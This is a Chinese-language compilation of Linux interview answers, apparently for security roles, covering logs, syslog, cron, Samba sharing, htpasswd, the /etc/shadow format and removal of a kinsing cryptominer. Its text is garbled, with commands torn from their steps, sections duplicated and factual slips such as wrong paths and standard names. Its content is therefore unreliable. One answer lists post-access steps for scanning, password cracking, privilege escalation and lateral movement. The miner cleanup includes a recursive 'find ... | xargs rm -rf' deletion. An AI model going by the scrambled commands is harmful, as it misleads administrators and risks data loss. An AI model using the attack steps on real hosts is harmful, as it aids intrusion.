Linux 日志都以明文形式存储,所以我们不需要特殊的工具就可以搜索和阅读它们。Linux 日志存储在 /var/log 目录中,我们可以编写脚 本,来扫描这些日志,并基于它们的内容去自动执行某些功能。
一、Linux常用的日志文件
/var/log/boot.log#
该文件记录了系统在引导过程中发生的事件,就是Linux系统开机自检过程显示的信息。
/var/log/cron#
该日志文件记录crontab守护进程crond所派生的子进程的动作,前面加上用户、登录时间和PID,以及派生出的进程的动作。CMD的一个动 作是cron派生出一个调度进程的常见情况。REPLACE(替换)动作记录用户对它的cron文件的更新,该文件列出了要周期性执行的任务调度。 RELOAD动作在REPLACE动作后不久发生,这意味着cron注意到一个用户的cron文件被更新而cron需要把它重新装入内存。该文件可能会查 到一些反常的情况。
/var/log/maillog#
该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动。它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系 统。
/var/log/messages#
该日志文件是许多进程日志文件的汇总,从该文件可以看出任何入侵企图或成功的入侵。该文件的格式是每一行包含日期、主机名、程序 名,后面是包含PID或内核标识的方括号、一个冒号和一个空格,最后是消息。
该文件有一个不足,就是被记录的入侵企图和成功的入侵事件,被淹没在大量的正常进程的记录中。但该文件可以由 /etc/syslog文件进行定 制。由 /etc/syslog.conf 配置文件决定系统如何写入 /var/log/messages。
/var/log/syslog#
RedHat Linux默认不生成该日志文件,但可以配置 /etc/syslog.conf让系统生成该日志文件。它和 /etc/log/messages日志文件不同,它只记 录警告信息,常常是系统出问题的信息,所以更应该关注该文件。要让系统生成该日志文件,在/etc/syslog.conf文件中加上:*.warning /var/log/syslog
十七、简述一下 linux 三剑客#
awk、grep、sed 是 linux 操作文本的三大利器,也是必须掌握的 linux 命令之一。三者的功能都是处理文本,但侧重点各不相同,其中属 awk 功能最强大,但也最复杂。grep 更适合单纯地查找或匹配文本,sed 更适合编辑匹配到的文本,awk 更适合格式化文本,对文本进行较 复杂格式处理。
简单概括:
grep:数据查找定位
awk:数据切片
sed:数据修改十八、Linux 的发行版本有哪些?#
Linux 操作系统有很多不同的发行版本,以下是一些常见的 Linux 发行版本:
1. Ubuntu:基于 Debian 的 Linux 发行版,以易用性和稳定性著称,适合桌面和服务器使用。
2. Debian:一款稳定、安全的 Linux 发行版,以软件包管理和稳定性著称,适合服务器使用。
3. CentOS:基于 Red Hat Enterprise Linux 的 Linux 发行版,以稳定性和安全性著称,适合服务器使用。
4. Red Hat Enterprise Linux (RHEL):一款商业 Linux 发行版,以可靠性、安全性和性能著称,适合企业使用。
5. Fedora:一款社区支持的 Linux 发行版,以最新的软件包和功能著称,适合桌面和开发使用。
6. Arch Linux:一款面向技术用户和高级用户的 Linux 发行版,以自定义性和灵活性著称,适合专业用户使用。
7. openSUSE:一款稳定、易用的 Linux 发行版,以硬件兼容性和易用性著称,适合桌面和服务器使用。
8. Kali Linux:一款专门为渗透测试和网络安全而设计的 Linux 发行版,以安全性和渗透测试工具著称。 除了上述发行版本,还有很多其
他的 Linux 发行版本,例如 Slackware、Gentoo、Mageia 等,每个发行版本都有其自身的特点和优势。十九、说一下 Linux 启动项的路径#
Linux下显示系统进程的命令ps
ps -ef 是用标准的格式显示进程的、其格式如下:
其中各列的内容意思如下#
UID //用户ID、但输出的是用户名#
PID //进程的ID#
PPID //父进程ID#
C //进程占用CPU的百分比#
STIME //进程启动到现在的时间#
TTY //该进程在那个终端上运行,若与终端无关,则显示? 若为pts/0等,则表示由网络连接主机进程。
CMD //命令的名称和参数
查找路径
我们首先用 ps -ef|grep 脚本名称或其他关键字 ,这样我们就能查找到进程id,
找到某进程启动路径的方法是:
1.我们可以从ps命令中得到进程的PID,例如18283.
2.进入/proc目录下以该PID命名的目录中
3.输入ls -l ,结果中 exe链接对应的就是可执行文件的全路经,cwd就是目录
$ ls -l /proc/18283
总计 0
dr-xr-xr-x 2 qhkf qhkf 0 01-06 11:14 attr
r——– 1 qhkf qhkf 0 01-06 11:14 auxv
r–r–r– 1 qhkf qhkf 0 01-06 10:38 cmdline
r–r–r– 1 qhkf qhkf 0 01-06 11:14 cpuset
lrwxrwxrwx 1 qhkf qhkf 0 01-06 11:14 cwd -> /v8t/qhkf/risk_b/kssmdb
- r——– 1 qhkf qhkf 0 01-06 11:14 environ
lrwxrwxrwx 1 qhkf qhkf 0 01-06 11:14 exe -> /v8t/qhkf/risk_b/kssmdb/A
dr-x—— 2 qhkf qhkf 0 01-06 10:38 fd
- rw-r–r– 1 qhkf qhkf 0 01-06 11:14 loginuid
- r–r–r– 1 qhkf qhkf 0 01-06 11:14 maps
- rw——- 1 qhkf qhkf 0 01-06 11:14 mem
- r–r–r– 1 qhkf qhkf 0 01-06 11:14 mounts
- r——– 1 qhkf qhkf 0 01-06 11:14 mountstats
- r–r–r– 1 qhkf qhkf 0 01-06 11:14 numa_maps
- rw-r–r– 1 qhkf qhkf 0 01-06 11:14 oom_adj
- r–r–r– 1 qhkf qhkf 0 01-06 11:14 oom_score
lrwxrwxrwx 1 qhkf qhkf 0 01-06 11:14 root -> /
- r–r–r– 1 qhkf qhkf 0 01-06 11:14 schedstat
- r——– 1 qhkf qhkf 0 01-06 11:14 smaps
- r–r–r– 1 qhkf qhkf 0 01-06 10:38 stat
- r–r–r– 1 qhkf qhkf 0 01-06 11:14 statm
- r–r–r– 1 qhkf qhkf 0 01-06 10:38 status
dr-xr-xr-x 6 qhkf qhkf 0 01-06 11:14 task
- r–r–r– 1 qhkf qhkf 0 01-06 11:14 wchan
二十、说一下 Linux 定时任务命令#
Linux crontab是用来crontab命令常见于Unix和类Unix的操作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令, 并将其存放于“crontab”文件中,以供之后读取和执行。该词来源于希腊语 chronos(χρ?νο?),原意是时间。通常,crontab储存的指令被守 护进程激活, crond常常在后台运行,每一分钟检查是否有预定的作业需要执行。这类作业一般称为cron jobs。当安装完成操作系统之后, 默认便会启动此任务调度命令。crond 命令每分锺会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。 注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行。
二十一、Linux 日志存放位置是在哪个文件夹下?#
Linux系统拥有非常灵活和强大的日志功能,可以保存几乎所有的操作记录,并可以从中检索出我们需要的信息。
1 、大部分Linux发行版默认的日志守护进程为 syslog,位于 /etc/syslog 或 /etc/syslogd,默认配置文件为 /etc/syslog.conf,任何希望生成 日志的程序都可以向 syslog 发送信息。而Fedora、Ubuntu,、rhel6、centos6以上版本默认的日志系统都是rsyslog,rsyslog是syslog的 多线程增强版
2 、 Linux系统内核和许多程序会产生各种错误信息、警告信息和其他的提示信息,这些信息对管理员了解系统的运行状态是非常有用的,所 以应该把它们写到日志文件中去。完成这个过程的程序就是syslog。syslog可以根据日志的类别和优先级将日志保存到不同的文件中。
为了方便查阅,可以把内核信息与其他信息分开,单独保存到一个独立的日志文件中。默认配置下,日志文件通常都保存在“/var/log”目录 下。
3 、下面是常见的日志类型,但并不是所有的Linux发行版都包含这些类型:
4 、常见的日志优先级#
5 、所有的系统应用都会在 /var/log 目录下创建日志文件,或创建子目录再创建日志文件
6 、etc/syslog.conf(rsyslog.conf) 是 syslog 的配置文件,会根据日志类型和优先级来决定将日志保存到何处。典型的 syslog.conf 文件格式 如下所示:
*.err;kern.debug;auth.noTIce /dev/console
daemon,auth.noTIce /var/log/messages
lpr.info /var/log/lpr.log
mail.* /var/log/mail.log
ftp.* /var/log/ftp.log
auth.* @see.xidian.edu.cn
auth.* root,amrood
neTInfo.err /var/log/neTInfo.log
install.* /var/log/install.log
*.emerg *
*.alert |program_name
mark.* /dev/console
7 、第一列为日志类型和日志优先级的组合,每个类型和优先级的组合称为一个选择器;后面一列为保存日志的文件、服务器,或输出日志#
的终端。syslog 进程根据选择器决定如何操作日志。对配置文件说明:
日志类型和优先级由点号(。)分开,例如 kern.debug 表示由内核产生的调试信息。kern.debug 的优先级大于 debug。星号(*)表示所有,例 如 .debug 表示所有类型的调试信息,kern. 表示由内核产生的所有消息。可以使用逗号(,)分隔多个日志类型,使用分号(;)分隔多个选择 器。
对日志的操作包括:
将日志输出到文件,例如 /var/log/maillog 或 /dev/console。将消息发送给用户,多个用户用逗号(,)分隔,例如 root, amrood。通过管 道将消息发送给用户程序,注意程序要放在管道符(|)后面。将消息发送给其他主机上的 syslog 进程,这时 /etc/syslog.conf 文件后面一列为 以@开头的主机名,例如@see.xidian.edu.cn。
8 、logger 是Shell命令,可以通过该命令使用 syslog 的系统日志模块,还可以从命令行直接向系统日志文件写入一行信息。
logger命令的语法为:
logger [-i] [-f filename] [-p priority] [-t tag] [message.。。]
- f filename:将 filename 文件的内容作为日志。
- i :每行都记录 logger 进程的ID。
- p priority :指定优先级;优先级必须是形如 facility.priority 的完整的选择器,默认优先级为 user.notice。
- t tag :使用指定的标签标记每一个记录行。
message :要写入的日志内容,多条日志以空格为分隔;如果没有指定日志内容,并且 -f filename 选项为空,那么会把标准输入作为日志 内容。
9 、日志转储也叫日志回卷或日志轮转。Linux中的日志通常增长很快,会占用大量硬盘空间,需要在日志文件达到指定大小时分开存储。 syslog 只负责接收日志并保存到相应的文件,但不会对日志文件进行管理,因此经常会造成日志文件过大,尤其是WEB服务器,轻易就能超 过1G,给检索带来困难。 大多数Linux发行版使用 logrotate 或 newsyslog 对日志进行管理。logrotate 程序不但可以压缩日志文件,减少 存储空间,还可以将日志发送到指定 E-mail,方便管理员及时查看日志。
10 、例如,规定邮件日志 /var/log/maillog 超过1G时转储,每周一次,那么每隔一周 logrotate 进程就会检查 /var/log/maillog 文件的大 小:
如果没有超过1G,不进行任何操作。
如果在1G~2G之间,就会创建新文件 /var/log/maillog.1,并将多出的1G日志转移到该文件,以给 /var/log/maillog 文件瘦身。
如果在2G~3G之间,会继续创建新文件 /var/log/maillog.2,并将 /var/log/maillog.1 的内容转移到该文件,将 /var/log/maillog 的内容转移 到 /var/log/maillog.1,以保持 /var/log/maillog 文件不超过1G。
可以看到,每次转存都会创建一个新文件(如果不存在),命名格式为日志文件名加一个数字(从 1 开始自动增长或以当前日期为后缀),以保持 当前日志文件和转存后的日志文件不超过指定大小
11 、logrotate 的主要配置文件是 /etc/logrotate.conf,/etc/logrotate.d 目录是对 /etc/logrotate.conf 的补充,或者说为了不使 /etc/logrotate.conf 过大而设置。
注意:include 允许管理员把多个分散的文件集中到一个,类似于C语言的 #include,将其他文件的内容包含进当前文件。 include 非常有 用,一些程序会把转储日志的配置文件放在 /etc/logrotate.d 目录,这些配置文件会覆盖或增加 /etc/logrotate.conf 的配置项,如果没有指 定相关配置,那么采用 /etc/logrotate.conf 的默认配置。 所以,建议将 /etc/logrotate.conf 作为默认配置文件,第三方程序在 /etc/logrotate.d 目录下自定义配置文件。 logrotate 也可以作为命令直接运行来修改配置文件。
linux系统日志在哪里
日志文件的默认路径是:/var/log
下面是几个重要的日志文件的路径及其包含的信息:
/var/log/syslog:它和/etc/log/messages日志文件不同,它只记录警告信息,常常是系统出问题的信息。
/var/log/messages:包括整体系统信息,其中也包含系统启动期间的日志。此外,还包括mail,cron,daemon,kern和auth等内容。
/var/log/user.log:记录所有等级用户信息的日志。
/var/log/auth.log:包含系统授权信息,包括用户登录和使用的权限机制等。
/var/log/daemon.log:包含各种系统后台守护进程日志信息。
/var/log/kern.log:包含内核产生的日志,有助于在定制内核时解决问题。
二十二、说一下 linux 操作系统指令#
一、关机与重启指令#
( 1 ) shutdown - 关机
( 2 ) halt - 关机
( 3 ) reboot - 重启
( 4 ) sync - 将内存的数据同步到磁盘
二、帮助指令
( 1 ) man - 查看某个命令的帮助手册
( 2 ) help - 查看某个命令的帮助信息
三、文件目录类指令
( 1 ) pwd - 显示当前目录的绝对路径
( 2 ) ls - 显示当前路径下的文件和目录
( 3 ) cd - 切换至指定目录
( 4 ) mkdir - 创建目录
( 5 ) rmdir - 删除目录(空目录)
( 6 ) touch - 创建空文件
( 7 ) cp - 拷贝文件或目录到指定文件或目录
( 8 ) rm - 删除文件或目录
( 9 ) mv - 移动文件与目录或重命名
( 10 ) cat - 查看文件内容
( 11 ) more - 文本过滤器
( 12 ) less - 分屏查看文件内容
( 13 ) echo - 输出内容到控制台
( 14 ) head - 显示文件开头部分
( 15 ) tail - 显示文件尾部的部分
( 16 ) > / » - 输出重定向/追加
( 17 ) ln - 软链接
( 18 ) history - 查看执行过的的历史命令
四、时间日期类指令
( 1 ) date - 显示当前日期、设置日期
( 2 ) cal - 查看日历
五、搜索查找类指令
( 1 ) find - 查找文件
( 2 ) locate - 定位文件路径
( 3 ) which - 定位指令路径
( 4 ) grep - 过滤查找
六、压缩解压类指令
( 1 ) gzip - 压缩文件
( 2 ) gunzip - 解压文件
( 3 ) zip - 压缩文件或目录
( 4 ) unzip - 解压文件或目录
( 5 ) tar - 打包
二十三、Linux 与 window 共享文件怎么操作?#
0.文件共享的前提#
在科研过程中,数据采集设备的系统是一个Windows或者是Linux,而分析数据是集中在Windows中进行,一般操作是通过U盘将Linux 中数据拷出,然后转移到Windows中,集中管理数据,操作较为麻烦,若将在同一局域网下的Windows之间,以及Windows和Linux之间建 立通信,就可以快速转移数据,便于实验高效进行。 本文说明Windows与Linux 之间如何进行文件共享,要求Windows与Linux两个系统必须在同一局域网下。
1.在Linux中创建共享文件夹#
( 1 )在Linux中创建共享文件夹 在Linux桌面(可以在电脑任意位置)创建一个文件夹,任意命名,如文件夹命名为:LinuxShareToWindows;
( 2 )安装Samba共享软件 键入命令:sudo apt-get install samba Samba 安装后,配置用于访问共享的用户名和密码: sudo smbpasswd -a qun 注意:在本例中,我们使用“qun”,因为已经有一个使用该名称的Linux 用户,但可以键入任意名称。 ( 3 )配置smb.conf文件 键入命令:sudo vi /etc/samba/smb.conf 打开配置文件,向下滚动到文件末尾,键盘按字母【i】进入插入模式,键入以下行(#后为注释,可以不用键入): #共享文件夹对外显示的名称 [LinuxShareToWindows] #共享文件夹地址 path = /home/qun/桌面/LinuxShareToWindows available = yes #第( 2 )步设置的共享用户名 valid users = qun read only = no browsable = yes public = yes writable = yes 演示如下所示:
键盘按【ESC】退出插入模式到命令行模式,然后按【shift+;】,即按【:】进入Last line mode,再键盘按【wq】保存文件并关闭 编辑器;
之后重新启动SMB服务,键入命令:#
sudo service smbd restart
2.从Windows访问Linux中创建的共享文件夹#
( 1 )设置访问权限#
简略操作 :Win+R快捷打开运行→键入:gpedit.msc→找,计算机配置,管理模板,网络,Lanman工作站→在右侧,找到”启用不安全 的来宾登录“,并双击启动。
详细操作如下 :#
①Win+R快捷打开运行;
②键入:gpedit.msc;
③找到Lanman工作站;
④启用不安全的来宾登录。#
( 2 )创建共享文件夹#
在Windows桌面(可以任意位置)创建快捷方式,然后输入地址(语法为:\IP-ADDRESS\SHARE-NAME): \192.168.43.157\LinuxShareToWindows 注意:如果您需要 Linux 计算机的 IP,只需在终端键入命令:ifconfig,即可。
二十四、Linux 的网卡文件默认地址在哪?删除 Windows 共享怎么操作?#
CentOS默认网卡是没有启动的,我们执行如下命令,修改网卡配置文件:
vi /etc/sysconfig/network-scripts/ifcfg-eth0
然后,将ONBOOT=“no"改为ONBOOT=“yes”,效果如下:
这个时候,就配置完成,可以访问互联网了。而且同一个局域网内的另一台Win7系统电脑也能远程访问这一台电脑上的Linux了,前提是 Linux系统已经有了ssh服务,咱们现在安装的Linux版本,都会装有SSH,默认就是OpenSSH
可以通过如下命令,查看安装的ssh版本信息:
ssh -v
我安装的CentOS 6.5的ssh版本信息如下:
删除 Windows 共享#
一. 设置共享文件夹#
1.打开vmware,选择编辑虚拟机设置:
2.选择选项-共享文件夹-总是启用#
点击添加,选择本机(windows)目录,添加完成,选择“启用此共享”,完成。
3.然后,打开此虚拟机 ,进入linux环境下执行cd /mnt查看是否含有hgfs文件夹,若有,此文件夹即为linux环境下的共享文件夹,无需创建
4. /mnt下没有hgfs文件夹,则创建自己的文件夹mkdir /mnt/sharefile
5. 执行:/usr/bin/vmhgfs-fuse .host:/ /mnt/sharefile -o subtype=vmhgfs-fuse,allow_other- -如果指令不能执行,则进入/usr/bin/文件夹下,执行: ./vmhgfs-fuse .host:/ /mnt/sharefile -o subtype=vmhgfs-fuse,allow_other
6.此时,进入/mnt/sharefile会看到windows下的文件夹CentOS101,此时就可以进行文件共享了
二. 删除共享文件夹#
如果不慎创建了两个共享文件夹,当想删除的时候会发现,事情没有那么简单,需要:#
1. umount /mnt/sharefile ---此处以/mnt/sharefile为例
2. 执行rm -rf /mnt/sharefile大功告成!
二十五、apache 密码文件叫什么?#
在staging模式中,如果想让网站上的指定目录对某些人开放,可以对站点使用密码保护方法——使用htpasswd文件来实现。
密码文件用于存储有效的需要访问网站/目录的用户名和密码信息。基本上,Apache提供了一个程序来创建密码文件,即htpasswd程序。在 Apache安装后的bin目录下有,比如Windows版本的Apache安装后,这里:
下面详述创建htpasswd文件的步骤。
步骤 1 :创建.htpasswd文件#
首先,需要创建一个名为.htpasswd的文件,此文件用于存储用户名和加密后的密码。 比如用户名为admin,密码为 123456 ,那么在.htpasswd文件中的内容可能就是这样的:
D:/Apache/bin/htpasswd.exeadmin:9dKtKHPyz51Vs这里,用户名后紧跟的是密码,而且密码是加密后的密文。现在可以上传.htpasswd文件到根目录。
有一个在线生成.htpasswd文件的网站:http://www.htaccesstools.com/htpasswd-generator/
步骤 2 :创建.htaccess文件#
创建一个新的.htaccess文件,并写入如下内容:
接下来上传.htaccess文件,然后可以测试一下是否可以访问。
AuthName:是指预访问的区域的名称。 AuthType:是指使用HTTP需要使用的身份验证方式,Basic指基本的HTTP身份验证。 AuthUserFile:指向服务器的根路径的.htpasswd文件。 require:是指只有文件中列表有的合法用户才能访问AuthName区域。
二十六、Linux 挂载文件怎么操作?#
一、手动挂载#
例:将镜像光盘挂载到/mnt
二、开机自动挂载(永久挂载)#
在/etc/fstab添加挂载信息
可以使用命令 先获取UUID#
通过blkid查看UUID
AuthName "Restricted Area"
AuthType Basic
AuthUserFile /home/site/.htpasswd
AuthGroupFile /dev/null
require valid-user#mount 设备名 挂载点#mount /dev/sr0 /mnt#blkid##可使用设备名,或UUID
#vim /etc/fstab三、自动挂载#
1.安装自动挂载的包#
2.启动服务,关闭防火墙和SELINUX#
实例:给网页实现自动挂载#
1.编辑http配置文件
编辑内容如下:#
2.开启服务创建资源文件,挂载(临时)#
3.安装autofs,编辑配置文件
#yum install autofs -y#systemctl restart autofs#vim /etc/auto.master#vim /etc/auto.httpd#vim /etc/httpd/conf.d/vhosts.conf<VirtualHost 192.168.220.129:80>
DocumentRoot /public/test
ServerName 192.168.220.129
</VirtualHost>
<Directory /public/test>
AllowOverride none
Require all granted
Options +Indexes
</Directory>#mkdir -p /public/test
#echo this is a test > /public/test/index.html
#systemctl stop firewalld
#setenforce 0
#systemctl restart httpd
#mount /dev/sr0 /public/test#yum install -y autofs
#systemctl restart autofs
#vim /etc/auto.master重启autofs
通过mount查看挂载情况
自动挂载成功#
二十七、Linux 的/etc 下的文件有哪些?#
在linux下修改系统配置时就会在/etc这个目录下修改配置文件,可见这个目录是系统的配置文件目录。比如我们在终端输入如下命令:
可以看到里面都是些系统配置文件,系统配置目录,应用程序配置文件,应用程序配置目录。接下来我们对其中的文件大致的介绍一下,主要#
是一些常用的文件:#
1./etc/profile
系统全局环境变量设置,里面可以添加对所有用户有效的环境变量,系统配置等。
#vim /etc/auto.httpd#systemctl restart autofs#mount | grep /dev/sr02./etc/bashrc
bash的环境变量配置,里面添加启动bash时读取的环境。
3./etc/hosts 主机域名的配置:类似于window中的hosts文件的功能
4./etc/ld.so.cof ldconfig命令读取的系统库目录配置文件:
/etc/ld.so.cache ldconfig命令读取的系统库路径生成的缓存文件。
/etc/timezone
系统的时间时区设置。#
/etc/adduser.conf
添加的用户信息。
/etc/deluser.conf
删除用户信息。
/etc/group
用户组信息。
/etc/crontab
系统定时任务信息。
/etc/passwd
用户密码信息。
/etc/sudoers
具有sodu执行权限的用户信息。
/etc/protocols
系统支持的ip协议簇。
/etc/sysctl.conf
系统内核的配置文件。
二十八、Linux 用进程定位病毒文件怎么搞?#
首先通过【cd】命令切换到Redis的安装目录下,然后删除该目录下的 red2.so 文件以及以 kinsing 开头的所有文件。然后执行以下操作:
1 、查看进程,记录下占用CPU的进程PID(包括挖矿主进程PID)命令:
2 、查看异常链接(有助于发现问题缘由),命令:#
3 、查看定时任务,命令:#
4 、(该步骤很重要)删除异常定时任务(要求在root用户下),命令:
top或ps aux | lessnetstat -natp或netstat -natp | grep 进程PIDcrontab -lcrontab -e在打开的文本中,按【i】进行编辑删除,输入【:x】保存。
5 、定位异常进程,命令:
6 、定位异常进程命令:#
7 、删除第 6 步的相关文档#
8 、杀死相关进程,命令:#
9 、通过clamAV进行查杀(CentOS的标准yum库中已经包含了clamAV)
二十九、说一下 Linux 监听本机端口的命令以及关机命令#
一、linux监听端口命令——nc命令
二、linux/mac下常用的关机命令是shutdown
三十、linux 的账户密码在哪个文件夹?#
Linux系统中,所有用户(包括系统管理员)的账号和密码都可以在/etc/passwd和/etc/shadow这两个文件中找到,(用户和密码就放在文 件中,不怕被其他人看的或者修改吗?/etc/passwd只有系统管理员才可以修改的,其他用户可以查看,/etc/shadow其他用户看不了)
上面分别列出了passwd和shadow文件的访问权限信息,其中passwd保存的是账号,shadow保存的是账号的密码等信息
ps -aux | grep kinsingps -aux | grep kdevtmpfsisystemctl status 进程PIDrm -rf 文件路径或(删除全部相关文件)
find / -name "kinsing*" | xargs rm -rf查询进程号:ps -ef|grep kinsing
杀死进程(包括主机进程):kill -9 进程号安装clamAV:yum -y install clamav更新病毒库(需要时间很长,大约20~30分钟):freshclam查杀当前目录并删除感染的文件:clamscan -r --remove查杀当前目录并删除感染的文件:clamscan -rclamAV帮助命令:clamscan help\[root@localhost Python-3.5.0\]# vim /etc/shadow
\[root@localhost Python\-3.5.0\]# ls -al /etc/passwd /etc/shadow
\-rw-r--r--. 1 root root 2250 12月 14 00:17 /etc/passwd
\----------. 1 root root 1263 12月 14 00:17 /etc/shadow三十一、linux 搭建网站用什么中间件以及网站默认路径在哪?Windows 怎么#
搭建网站?#
Linux 搭建网站可以使用常见的中间件,例如 Apache、Nginx、Lighttpd 等。这些中间件都可以作为 Web 服务器处理 HTTP 请求,并将请 求的内容返回给客户端。其中,Apache 是使用最广泛的 Web 服务器之一,而 Nginx 则因其高性能而备受青睐。对于大多数 Linux 发行 版,Apache 的默认网站路径为 /var/www/html,而 Nginx 的默认网站路径为 /usr/share/nginx/html。当你在 Linux 上搭建网站时,你可 以在这些目录下创建你的网站文件,并将它们与你的 Web 服务器配合使用。 Windows 上搭建网站的方式则略有不同。对于 Windows Server 操作系统,可以使用 IIS(Internet Information Services)作为 Web 服务器。在 Windows Server 中,可以通过在“服务器管理器” 中选择“角色” -> “添加角色” -> “Web 服务器(IIS)”来安装 IIS。安装完成后,可以在 IIS 管理控制台中创建和管理网站,并将网站文件放置在 指定的目录下。对于 Windows 10 操作系统,可以使用 WAMP、XAMPP 等软件包来搭建 Web 服务器。这些软件包集成了 Apache、PHP、 MySQL 等常用的 Web 开发工具,可以方便地在本地环境中搭建出一个完整的 Web 服务器。在安装完成后,可以将网站文件放置在指定的 目录下,并在 Apache 的配置文件中进行相应的配置。 需要注意的是,在搭建网站时,需要注意安全问题,例如保护敏感数据、防范 SQL 注入、XSS 攻击等。同时,你也需要了解如何配置 Web 服务器,以便能够满足不同的需求,如 HTTPS 支持、虚拟主机配置等。
三十二、拿到一个 Linux 可访问权限,会怎么做?#
如果拿到一个 Linux 可访问权限(如普通用户权限),你可以通过以下方式来进一步提权或者收集系统信息:
1. 端口扫描:使用端口扫描工具(如nmap)来扫描目标主机开放的端口,以便发现目标主机上提供的服务或应用程序。
2. 漏洞扫描:使用漏洞扫描工具(如Nessus、OpenVAS)扫描目标主机上存在的漏洞,以便发现可以利用的漏洞。
3. 密码破解:如果目标用户使用弱密码,可以通过密码破解工具(如Hydra、John the Ripper)破解目标用户的密码。
4. 提权:如果攻击者成功获取了目标用户的密码,可以使用提权工具(如Sudo、su)提升自己的权限,从而获取更高的权限。
5. 收集系统信息:使用系统信息收集工具(如LinEnum、Unix Privilege Escalation)来收集目标主机的信息,包括系统版本、内核版
本、安装软件、系统配置等。
6. 横向渗透:如果攻击者已经成功提权到管理员权限,则可以尝试使用攻击者已经获取到的管理员权限横向渗透到其他主机,从而获取更
多的信息或者控制其他主机。三十三、Linux 或者 Windows 的安全基线做过吗?#
配置名称:用户账号分配检查,避免共享账号存在#
配置要求:#
1 、系统需按照实际用户分配账号;#
2 、避免不同用户间共享账号,避免用户账号和服务器间通信使用的账号共享。#
操作指南:参考配置操作:cat /etc/passwd查看当前所有用户的情况; 检查方法:命令cat /etc/passwd查看当前所有用户的信息,与管理员确认是否有共享账号情况存在。
配置方法:如需建立用户,参考如下: #useradd username #创建账号 #passwd username #设置密码 使用该命令为不同的用户分配不同的账号,设置不同的口令及权限信息等。 适用版本:Linux Redhat AS 3、Linux Redhat AS 4
三十四、linux 的密码文件存放在哪里?#
0x00 前言#
Linux系统下,用户的密码会被加密保存在文件/etc/shadow中,本文尝试对这一部分内容进行整理,介绍相关基础知识,测试常用方法, 帮助大家对此有更直观的认识。
0x01 Linux下用户密码的保存格式#
Linux密码信息保存在两个文件中,分别为:/etc/passwd和/etc/shadow
安全基线其实是系统最低安全要求的配置,常见的安全基线配置标准有ISO270001、等级保护2.0等,也有某些企业自己的标准。**安全基线检查涉及操作系统、中间件、数据库、甚至是交换机等网络基础设备的检查,面对如此繁多的检查项,自动化的脚本可以帮助我们快速地
完成基线检查的任务。一般来说基线检查基本上需要root权限,并且网上大部分的基线加固脚本都是脚本直接对系统进行操作,但是即使基线检查之前
做了充分的备份和保存快照等,一旦有不可逆的操作导致生产系统的中断造成的影响是巨大的。**/etc/passwd:#
普通用户权限能够查看#
保存用户信息,每一行代表一个用户,每一行通过冒号:分为七个部分#
1. 用户名#
2. 密码,x表示密码保存在/etc/shadow
3. UID, 0 代表root
4. GID,表示所在组
5. 描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
6. 用户主目录
7. 默认shell类型eg.
test2:x:1001:1001:test2,11111,111111-11,222222-22,test:/home/test2:/bin/bash用户名:test2
密码保存在/etc/shadow
UID为 1001
GID为 1001
描述信息: Full Name []: test2 Room Number []: 11111 Work Phone []: 111111-11 Home Phone []: 222222-22 Other []: test
用户主目录为/home/test2
默认shell为/bin/bash/etc/shadow:#
只有root用户权限能够查看
保存加密后的密码和用户的相关密码信息,每一行代表一个用户,每一行通过冒号:分为九个部分
1. 用户名
2. 加密后的密码
3. 上次修改密码的时间(从1970.1.1开始的总天数)
4. 两次修改密码间隔的最少天数,如果为 0 ,则没有限制
5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为 99999 则没有限制
6. 提前多少天警告用户密码将过期
7. 在密码过期之后多少天禁用此用户
8. 用户过期日期(从1970.1.1开始的总天数),如果为 0 ,则该用户永久可用
9. 保留注:
参数说明可通过man shadow获取
eg.
test2:$6$C/vGzhVe$aKK6QGdhzTmYyxp8.E68gCBkPhlWQ4W7/OpCFQYV.qsCtKaV00bToWh286yy73jedg6i0qSlZkZqQy.wmiUdj0:17470:0:99999:7:::
用户名:test2
加密后的密码:
$6$C/vGzhVe$aKK6QGdhzTmYyxp8.E68gCBkPhlWQ4W7/OpCFQYV.qsCtKaV00bToWh286yy73jedg6i0qSlZkZqQy.wmiUdj0
上次修改密码的时间(从1970.1.1开始的总天数为17470)
两次修改密码间隔:没有限制
两次修改密码间隔最多的天数:没有限制
提前 7 天警告用户密码将过期
该用户永久可用由示例可知,加密的密码具有固定格式:
$id$salt$encryptedid表示加密算法, 1 代表MD5, 5 代表SHA- 256 , 6 代表SHA- 512 salt表示密码学中的Salt,系统随机生成 encrypted表示密码的hash。
转载链接:https://3gstudent.github.io/3gstudent.github.io/Linux%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81Hash- %E5%8A%A0%E5%AF%86%E6%96%B9%E5%BC%8F%E4%B8%8E%E7%A0%B4%E8%A7%A3%E6%96%B9%E6%B3%95%E7%9A%84%E 6%8A%80%E6%9C%AF%E6%95%B4%E7%90%86/
三十五、Linux 保存日志在哪个路径?#
Linux系统拥有非常灵活和强大的日志功能,可以保存几乎所有的操作记录,并可以从中检索出我们需要的信息。
1 、大部分Linux发行版默认的日志守护进程为 syslog,位于 /etc/syslog 或 /etc/syslogd,默认配置文件为 /etc/syslog.conf,任何希望生成 日志的程序都可以向 syslog 发送信息。而Fedora、Ubuntu,、rhel6、centos6以上版本默认的日志系统都是rsyslog,rsyslog是syslog的 多线程增强版
2 、 Linux系统内核和许多程序会产生各种错误信息、警告信息和其他的提示信息,这些信息对管理员了解系统的运行状态是非常有用的,所 以应该把它们写到日志文件中去。完成这个过程的程序就是syslog。syslog可以根据日志的类别和优先级将日志保存到不同的文件中。
为了方便查阅,可以把内核信息与其他信息分开,单独保存到一个独立的日志文件中。默认配置下,日志文件通常都保存在“/var/log”目录 下。
3 、下面是常见的日志类型,但并不是所有的Linux发行版都包含这些类型:
4 、常见的日志优先级#
5 、所有的系统应用都会在 /var/log 目录下创建日志文件,或创建子目录再创建日志文件
6 、etc/syslog.conf(rsyslog.conf) 是 syslog 的配置文件,会根据日志类型和优先级来决定将日志保存到何处。典型的 syslog.conf 文件格式 如下所示:
*.err;kern.debug;auth.noTIce /dev/console
daemon,auth.noTIce /var/log/messages
lpr.info /var/log/lpr.log
mail.* /var/log/mail.log
ftp.* /var/log/ftp.log
auth.* @see.xidian.edu.cn
auth.* root,amrood
neTInfo.err /var/log/neTInfo.log
install.* /var/log/install.log
*.emerg *
*.alert |program_name
